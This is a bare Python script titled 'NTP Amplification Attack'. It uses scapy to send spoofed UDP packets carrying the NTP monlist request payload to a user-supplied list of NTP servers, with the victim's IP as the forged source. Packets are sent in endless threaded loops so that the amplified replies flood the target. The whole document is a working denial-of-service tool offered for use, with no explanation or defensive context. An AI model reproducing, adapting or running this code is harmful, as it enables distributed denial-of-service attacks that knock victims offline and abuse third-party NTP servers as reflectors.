Python - NTP Amplification Attack

import random
import threading
from scapy.all import *

try:
    ip = raw_input("Target: ")
    threads = input("Threads: ")
    openList = raw_input("List: ")

    with open(openList, "r") as openedList:
        lines = openedList.readlines()

    payload = "\x17\x00\x03\x2a\x00\x00\x00\x00"

    i = 0
    ntpList = []

    for line in lines:
        ntpList.append(line.rstrip("\n"))

    if int(threads) > int(len(ntpList)):
        print("")
        print("Current Threads: %s" % threads)
        print("Max Threads: %s" % len(ntpList))
        print("Quitting...")
        quit()

    def ntpflood():
        global i
        try:
            while True:
                port = random.randint(1, 65535)
                packet = IP(src=ip, dst=ntpList[i])/UDP(sport=port, dport=123)/Raw(load=payload)
                i += 1
                send(packet, loop=1, verbose=0)
        except:
            pass

    for i in range(int(threads)):
        thread = threading.Thread(target=ntpflood)
        thread.start()
except:
    pass